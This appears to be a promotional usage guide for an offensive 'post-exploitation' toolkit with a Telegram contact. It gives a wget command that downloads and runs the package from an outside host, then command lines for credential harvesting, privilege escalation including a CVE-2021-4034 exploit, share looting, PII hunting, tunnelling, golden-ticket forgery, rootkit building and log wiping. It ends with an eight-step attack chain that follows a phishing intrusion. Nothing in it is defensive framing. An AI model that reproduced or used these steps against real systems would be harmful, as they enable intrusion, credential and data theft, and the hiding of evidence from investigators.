TOOLKIT 6: POST_EXPLOIT — COMPLETE GUIDE
By Mr Pilot Annis | Contact: t.me/rick_ene | 10 Tools

DOWNLOAD

```
wget https://tool.electronichubb.com/Toolkit_6_Post_Exploit.zip
unzip Toolkit_6_Post_Exploit.zip -d ~/toolkits/Post_Exploit
cd ~/toolkits/Post_Exploit && python3 post_exploit.py
```

TOOLS

1. privesc_linux.py — Linux PrivEsc

```
python3 privesc_linux.py --scan-all
python3 privesc_linux.py --check-suid --check-capabilities --check-cron
python3 privesc_linux.py --exploit CVE-2021-4034
```

2. privesc_windows.py — Windows PrivEsc

```
python3 privesc_windows.py --scan-all
python3 privesc_windows.py --check-token --check-services --check-dll-hijack
```

3. credential_harvester.py — Credential Harvester

```
python3 credential_harvester.py --all
python3 credential_harvester.py --browsers --wifi --rdp --memory
```

4. network_scanner.py — Internal Network Scanner

```
python3 network_scanner.py --range 10.0.0.0/24 --full --output network-map.txt
```

5. share_enum.py — Network Share Enumeration

```
python3 share_enum.py --targets 10.0.0.0/24 --shares --download
python3 share_enum.py --targets targets.txt --find "password" --find "secret"
```

6. log_cleaner.py — Log Cleanup / Anti-Forensics

```
python3 log_cleaner.py --all
python3 log_cleaner.py --windows-event-logs
python3 log_cleaner.py --timestomp --file secret.exe --date "2024-01-01 08:00:00"
```

7. data_hunter.py — Sensitive Data Hunter

```
python3 data_hunter.py --scan / --patterns "password,secret,key,token"
python3 data_hunter.py --scan C:\ --extensions sql,config,ini,env,ppk
python3 data_hunter.py --scan / --pii --output pii-report.txt
```

8. tunnel_creator.py — Network Tunneling

```
python3 tunnel_creator.py --socks --local-port 1080 --target 10.0.0.5
python3 tunnel_creator.py --port-forward --local 8080 --remote 10.0.0.10:80 --pivot
10.0.0.5
```

9. golden_ticket.py — Golden/Silver Ticket

```
python3 golden_ticket.py --domain target.local --krbtgt-hash HASH --user fakeadmin
```

10. rootkit_installer.py — Rootkit Installation

```
python3 rootkit_installer.py --type userland --method ld-preload --output rootkit.so
```

ATTACK CHAIN: POST-EXPLOITATION

```
# After initial access (from phishing payload):

# Step 1: Privilege escalation
python3 privesc_windows.py --scan-all

# Step 2: Dump credentials
python3 credential_harvester.py --all --output creds.txt

# Step 3: Scan internal network
python3 network_scanner.py --range 10.0.0.0/24 --full

# Step 4: Enumerate shares
python3 share_enum.py --targets 10.0.0.0/24 --shares --download

# Step 5: Find sensitive data
python3 data_hunter.py --scan C:\ --extensions sql,config,ini --output sensitive.txt

# Step 6: Create tunnel for pivoting
python3 tunnel_creator.py --socks --local-port 1080 --target 10.0.0.5

# Step 7: Golden ticket for persistence
python3 golden_ticket.py --domain target.local --krbtgt-hash HASH --user fakeadmin

# Step 8: Clean logs
python3 log_cleaner.py --all
```

By Mr Pilot Annis | Contact: t.me/rick_ene